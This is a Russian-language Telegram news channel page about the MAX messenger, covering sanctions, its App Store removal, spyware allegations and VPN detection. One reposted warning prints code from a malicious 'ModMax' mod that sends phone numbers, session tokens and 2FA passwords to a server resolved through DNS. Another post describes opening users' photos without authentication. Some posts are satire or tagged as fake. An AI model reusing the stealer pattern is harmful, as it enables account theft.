RedMAX Новости | Новости MAX


Гео и язык канала: не указан, не указан
Категория: не указана


RedMAX Новости — твой главный источник новостей о мессенджере MAX.
Здесь ты найдёшь:
- Актуальные новости и обновления MAX
- Разборы функций и изменений
- Полезные материалы для пользователей
Канал является независимым и не аффилирован с MAX.

Связанные каналы

Гео и язык канала
не указан, не указан
Категория
не указана
Статистика
Фильтр публикаций


📢 Новый канал: All About MAX | Всё о MAX (Макс)

Сообщаем, что начал свою работу информационный Telegram-канал All About MAX | Всё о MAX (Макс), посвящённый мессенджеру MAX (Макс).

Канал только что создан, и в ближайшее время там начнут выходить публикации:

• актуальные новости о мессенджере MAX;
• информацию об обновлениях и новых функциях;
• прочие материалы, связанные с развитием платформы.

Рекомендуем подписаться заранее, чтобы не пропустить первые публикации.

🔗 Канал: https://t.me/all_about_max


Репост из: SafeMAX | Мод на MAX
⚠️ Не пользуйтесь модом ModMax

Разобрали APK ModMax-Android-190726.apk.

После входа мод отправляет на сторонний сервер:

- Номер телефона
- ID и токен активной сессии
- Имя и фамилию
- Данные устройства
- Пароль 2FA, если он был введён

Пруф из кода:

phone: t.phone,
user_id: t.userId,
token: e.token,
first_name: t.firstName,
last_name: t.lastName,
device_id: e.device_id,
password_2fa: s ?? null

``jsx
fetch(endpoint, {
  method: "POST",
  body: JSON.stringify(data)
})``


Адрес сервера мод получает из DNS TXT-записи modmax-cdn.fun, поэтому его можно менять без обновления APK.

Переключатель «Отключить телеметрию» отправку этих данных не блокирует.

‼️ Если уже входили через ModMax — удалите мод, завершите остальные сеансы и смените пароль 2FA.


Статья полного разбора данного приложения


ЕС ввёл санкции против VK и юрлица MAX

Совет ЕС включил МКПАО «ВК» и «Коммуникационную платформу» (разработчика мессенджера MAX) в санкционный список. Опубликован и документ с обоснованием.

Причины пять. Совет ЕС утверждает, что MAX разрабатывали под надзором спецслужб и что приложение может отслеживать использование VPN, собирать данные об установленных программах, получать доступ к адресной книге и геолокации. Также указан случай, когда данные из MAX якобы стали основанием для штрафа пользователя за пост. Отдельно говорится о выгоде MAX от блокировок Instagram, Facebook, WhatsApp и Telegram, об участии VK в передаче данных властям и в ограничении VPN.

При этом конкретных доказательств в документе почти нет: ни имён экспертов, ни технических исследований, ни цифр по росту аудитории или выручки. Позиция VK в постановлении не отражена.

Компаниям заморозят активы в ЕС, гражданам и организациям запрещено предоставлять им деньги и ресурсы.

#️⃣#новости

💧 RedMAX Новости | @redmaxnews


🔴 Владелец канала — иноагент?

Владелец телеграм-канала RedMAX Новости официально признан иностранным агентом. Причина — систематическая слежка за действиями Роскомнадзора.

Да, вы всё правильно поняли. Человек, который следил за теми, кто следит за всеми нами, теперь официально враг государства. Ирония зашкаливает.

По имеющимся данным, владелец канала на протяжении длительного времени фиксировал активность ведомства: какие сайты блокируют, когда и по какой причине. Роскомнадзор такого внимания к своей персоне не оценил.

#️⃣#щитпост

💧 RedMAX Новости | @redmaxnews


🍎 Apple назвала причину удаления MAX из App Store — санкции

Компания впервые прокомментировала ситуацию: мессенджер MAX удалён из App Store в соответствии с правилами соблюдения санкций. Об этом Apple заявила Русской службе Би-би-си.

При этом в компании не уточнили, о каких именно санкциях идёт речь. Официальная формулировка: «соблюдение законов юрисдикций, в которых работает Apple».

Напомним контекст: пользователи заметили исчезновение MAX из App Store вечером 3 июня. Приложение перестало находиться через поиск, а переход по прямой ссылке стал выдавать ошибку. Российское правительство присвоило MAX статус национального мессенджера летом 2025 года, на фоне блокировок WhatsApp и Telegram в России.

Причина удаления теперь официально обозначена, однако конкретики по-прежнему нет. Какие именно санкции стали основанием, Apple не раскрывает.

Команда MAX ранее сообщила, что направила запрос в Apple и работает над решением.

#️⃣#новости

💧 Подписывайтесь на RedMAX Новости


📵 MAX на iPhone: уведомления больше не приходят

После удаления из App Store мессенджер столкнулся с новой проблемой push-уведомления на устройствах Apple перестали работать. О сообщениях и звонках телефон больше не предупреждает.

Причина техническая: когда приложение исчезает из App Store, iOS автоматически отзывает токен доставки уведомлений, и сервер теряет возможность отправлять их на устройство. Сообщения при этом продолжают доставляться но узнать об этом можно только открыв приложение вручную.

Команда MAX официально предупреждает пользователей iPhone о нескольких важных моментах:

1. Не удаляйте приложение. Переустановить его из App Store сейчас не получится
2. Уведомления временно не работают заходите в приложение самостоятельно, чтобы не пропустить важное
3. Все функции мессенджера при этом остаются доступными

Команда MAX продолжает переговоры с Apple и работает над восстановлением нормальной работы сервисов.

#️⃣#новости

💧 Подписывайтесь на RedMAX Новости


🚨 MAX исчез из App Store и это не баг

Мессенджер MAX удалён из App Store. При переходе по официальной ссылке ошибка, в поиске пусто. VK это подтвердили.

МАХ подтверждает, что приложение мессенджера на текущий момент недоступно в AppStore. Приложение, ранее установленное на смартфонах пользователей, продолжит работать в обычном режиме. Команда МАХ направила запрос о предоставлении разъяснений в Apple и работает над оперативным решением проблемы. На данный момент МАХ можно скачать в других магазинах приложений: RuStorе, GooglePlay, Huawei AppGallery, Samsung Store, Xiaomi Store, Vivo Store и на официальном сайте MAХ.


Официальная позиция команды MAX: приложение временно недоступно для скачивания в App Store, но уже установленные версии продолжат работать в обычном режиме. Запрос на разъяснения направлен в Apple, причины удаления пока не называются.

На время решения вопроса скачать MAX можно через альтернативные площадки: RuStore, Google Play, Huawei AppGallery, Samsung Store, Xiaomi Store, Vivo Store и Официальный сайт MAX.

Ситуация примечательна тем, что никаких официальных объяснений со стороны Apple не поступало команда мессенджера сама инициирует выяснение причин. Чем это обернётся и как быстро приложение вернётся в магазин пока открытый вопрос.

#️⃣#новости

💧 Подписывайтесь на RedMAX Новости


Репост из: MadMaxDatamines
Нововведения в 26.18.0


🌐 В веб-версии MAX появилась реклама Яндекс Браузера но увидят её не все

В конфигурации веб-интерфейса мессенджера MAX обнаружен рекламный баннер с предложением перейти на Яндекс Браузер. Баннер отображается на «пустом экране» то есть когда пользователь ещё не открыл ни один чат.

Интересная деталь: таргетинг настроен так, что реклама показывается во всех браузерах, кроме самого Яндекс Браузера. Логика очевидна тем, кто уже им пользуется, предложение неактуально.

Технически баннер показывается не чаще одного раза в 3 дня, закрывается навсегда (тип permanent), а ссылка ведёт на страницу загрузки Яндекс Браузера с партнёрским идентификатором. В футере стандартная маркировка: «Реклама ООО «ЯНДЕКС»» с ИНН и erid-кодом согласно требованиям российского законодательства о рекламе.

{
"targeting": {
"browsers": {
"mode": "exclude",
"list": [
"yandex"
]
}
},
"displayRules": {
"cooldownDays": 3,
"maxShows": -1
},
"closeBehavior": {
"type": "permament"
},
"action": {
"type": "external_link",
"url": "https://browser.yandex.ru/download?partner_id=1103127"
},
"id": "yandex-browser-max-promo-emptystate",
"position": "empty_state",
"content": {
"icon": {
"light": "https://st.max.ru/banner/emptystate_icon.svg"
},
"title": "Общайтесь в MAX\nчерез Яндекс Браузер",
"footer": "Реклама ООО «ЯНДЕКС» ИНН 7736207543; erid: 2W5zFG4gnEM"
}
}

#️⃣#новости
➡️ Источники: @MadMaxDatamines @safemax_mod

💧 RedMAX Новости | Новости MAX


🌐 Яндекс Браузер теперь в установщике MAX

Скачиваешь MAX на Windows и можешь сразу получить Яндекс Браузер. Его добавили в установочник мессенджера в качестве опционального компонента.

Всё честно: браузер не навязывается. В процессе установки появляется галочка соглашаешься или снимаешь, и он не устанавливается. Выбор остаётся за пользователем.

Источник: @MadMaxDatamines

#новости

💧 Подписывайтесь на RedMAX Новости


Ваша информация из мессенджера Max была скомпрометирована во время регистрации. Взлом даже не потребовался.


В веб-версии мессенджера MAX появились обновлённые аватарки с градиентом. Теперь стандартные «заглушки» с буквами выглядят заметно приятнее плавный переход цветов вместо однотонного фона. Мелочь, но из таких деталей складывается общее ощущение от продукта.

Но есть и кое-что поинтереснее. В коде веб-версии MAX обнаружен параметр web-ad-banner со значением enabled: false. Это может означать, что команда разработчиков уже готовит инфраструктуру для показа рекламы пока отключённую, но уже присутствующую в системе.

Реклама в мессенджере всегда чувствительная тема. Как это будет реализовано, насколько она будет навязчивой и появится ли платная подписка для её отключения пока неизвестно. Следим за развитием событий.

Источники: [1] [2]

#обновления

💧 Подписывайтесь на RedMAX Новости


🔐 Макс начал блокировать VPN-ключи прямо в чатах

Пользователи мессенджера фиксируют новое поведение: ссылки формата vless, vmess и другие VPN-конфигурации исчезают сразу после отправки. Сообщение улетает и пропадает.

В части случаев последствия серьёзнее: приложение само разлогинивает аккаунт пользователя после отправки такого сообщения.

При этом система работает нестабильно одни ключи удаляются, другие остаются. Это значит, что фильтрация явно ещё сырая и продолжает настраиваться.

Источник: [1]

#новости

💧 Подписывайтесь на RedMAX Новости


📵 Мессенджер Макс исчез из App Store. Совпадение? Вряд ли.

Вчера Cloudflare пометил домен max.ru как шпионское ПО. Сегодня приложение пропало из магазина Apple. Два события подряд и оба не в пользу сервиса.

Что известно: мессенджер Макс удалён из App Store. До этого CDN-провайдер Cloudflare присвоил домену max.ru статус «spyware» то есть программного обеспечения, которое следит за пользователями. Это автоматически влечёт блокировки и предупреждения на уровне браузеров и сетевой инфраструктуры.

Связаны ли эти два события напрямую пока официально не подтверждено. Но хронология говорит сама за себя.

Для пользователей это означает: установить приложение через App Store больше нельзя, а доверие к платформе оказалось под серьёзным вопросом.

#фейк

💧 Подписывайтесь на RedMAX Новости


Cloudflare сняла с домена max.ru пометку «шпионское ПО»

Хостинг-провайдер Cloudflare снял метку «шпионское ПО» с домена max.ru. Она появилась на странице с информацией о домене днем ранее.

#новости

💧 Подписывайтесь на RedMAX Новости


🚨 MAX признан шпионским ПО - что происходит?

Cloudflare сегодня пометил домен max.ru как шпионское программное обеспечение. Это «национальный мессенджер» MAX, который активно продвигается как альтернатива зарубежным сервисам.

Что нашли?
На бэкенде приложения обнаружен Command & Control (C2) сервер. Простыми словами: с такого сервера можно отправлять команды на устройство пользователя - вплоть до полного управления им. Именно это и насторожило исследователей.

Приложение уже пропало из App Store в Германии и Польше. В российских магазинах пока доступно.

Что говорит сам MAX?
Пресс-служба заявила, что Cloudflare неверно интерпретировал заголовки запросов к обычной веб-аналитике, а не анализировал реальный код. Компания ссылается на регулярные аудиты безопасности и программу Bug Bounty.
Классификация Cloudflare вызвана неверной интерпретацией заголовков запросов к сервисам обыкновенной веб-аналитики сайта max.ru, а не на фактическом анализе кода. MAX регулярно проходит аудиты безопасности, работает с исследователями через программу Bug Bounty и имеет собственный центр безопасности для защиты пользователей от реальных угроз. Все данные пользователей МАХ надежно защищены.


Верить или нет - каждый решает сам. Но показательно, что похожая история уже была с альтернативным клиентом Telegram - Telega: пометку ставили, снимали, снова возвращали.

Отчёт Cloudflare появился сегодня утром. Ситуация развивается.

Ссылка на отчёт: https://radar.cloudflare.com/ru-ru/scan/3c745d75-2df5-4480-947f-278da1221657/summary

Источники:
[1] [2] [3]

#новости

💧 Подписывайтесь на RedMAX Новости


🔓 УТЕЧКА ДАННЫХ В MAX: ваши личные фото доступны без авторизации

Пока россияне массово переходят на отечественный мессенджер MAX, выясняется неприятная деталь — любое изображение, которое вы отправляли в переписке, доступно в открытом интернете без каких-либо паролей и авторизации.

Как это работает:
Откройте веб-версию MAX → найдите любое отправленное фото → через инструменты разработчика Ctrl+Shift+C скопируйте прямую ссылку на изображение → вставьте её в браузер в режиме инкогнито или на другом устройстве, где вы не авторизованы в MAX.

Фото откроется. Без проблем.

Что делает это особенно опасным:

→ Значительная часть URL-адреса у всех ваших файлов одинакова — защиты от перебора, судя по всему, нет

→ Удаление фото из чата не помогает — по прямой ссылке оно продолжает быть доступно как минимум ещё неделю

→ Это касается личных фото, скриншотов, документов — всего, что вы когда-либо отправляли

Для сравнения: в Telegram все медиафайлы надёжно закрыты и недоступны без токена сессии.

Что делать прямо сейчас:
Если вы пользуетесь MAX и отправляли там что-то личное — учитывайте, что эти файлы потенциально могут быть доступны посторонним.

Разработчикам MAX остаётся только одно: исправить это как можно скорее. Базовая приватность — это не опция, это фундамент любого мессенджера.

Источник: https://pikabu.ru/story/vashi_lichnyie_fotografii_v_obshchem_dostupe_13755309

💧 Подписывайтесь на RedMAX Новости


📣 MAX ответил на обвинения в слежке

После публикации на Хабре о шпионском модуле в мессенджере, пресс-служба MAX выпустила официальные пояснения.

Что говорят разработчики:

• IP-адрес нужен только для WebRTC-звонков — это стандартная практика для всех P2P-сервисов
• Запросы к серверам Apple и Google — проверка доставки push-уведомлений в сложных сетевых условиях
• Запросов к серверам WhatsApp и Telegram нет
• К персональным данным и использованию VPN всё это отношения не имеет

Что думать об этом:

Объяснение про WebRTC звучит логично — эта технология действительно требует внешний IP. Но исследователь зафиксировал отправку флага vpn: 1 (активен ли VPN на устройстве) и проверку доступности заблокированных ресурсов — и этому объяснения в ответе MAX нет.

Противоречие между техническим разбором и официальным ответом пока остаётся открытым.

Источник: https://habr.com/ru/news/1006950/

#новости

💧 Подписывайтесь на RedMAX Новости


💧 MAX → 💧 ОКО

Пока Госдума обсуждает закон об ограничении англицизмов, у нас есть скромное предложение для российского мессенджера MAX.

Господа из VK, переименуйте его в ОКО.

Во-первых — это русское слово. Патриотично, звучно, никаких претензий.
Во-вторых — «Объединённый Коммуникационный Оператор». Аббревиатура работает, всё серьёзно.
В-третьих — и это главное — ОКО исторически означает «орган наблюдения». А с учётом того, сколько данных мессенджер собирает и кому при необходимости передаёт... название было бы честнее некуда.

Прозрачность — это добродетель. Особенно когда она односторонняя.

💧 ОКО видит тебя. ОКО заботится о тебе.

#важное

💧 Подписывайтесь на RedMAX Новости


🕵️ Мессенджер MAX шпионит за теми, кто использует VPN

Исследователь на Хабре провёл реверс-инжиниринг российского мессенджера MAX (от VK) — и подтвердил худшие опасения.

Что нашли внутри:

Приложение содержит скрытый шпионский модуль, который:

• Проверяет доступность Telegram, WhatsApp, Google и других заблокированных сайтов через ping и TCP:443
• Определяет ваш внешний IP сразу через 6 сервисов (Яндекс, AWS, mail.ru и др.) — чтобы поймать тех, кто не заворачивает локальный трафик в VPN
• Фиксирует, включён ли у вас VPN
• Отправляет код вашего мобильного оператора (MTS, Билайн и т.д.)
• Всё это смешивается с основным трафиком мессенджера — заблокировать отдельно невозможно

Зачем это нужно:

Методика проверки — это прямой способ узнать, успешно ли работает блокировка на ТСПУ (оборудование Роскомнадзора). Фактически миллионы телефонов превращаются в сеть сканеров, которая докладывает: «этот пользователь обходит блокировки».

Модуль управляется удалённо и может включаться точечно для отдельных аккаунтов.

Подробный технический разбор с дампами трафика и анализом кода — на Хабре

#новости

💧 Подписывайтесь на RedMAX Новости

Показано 20 последних публикаций.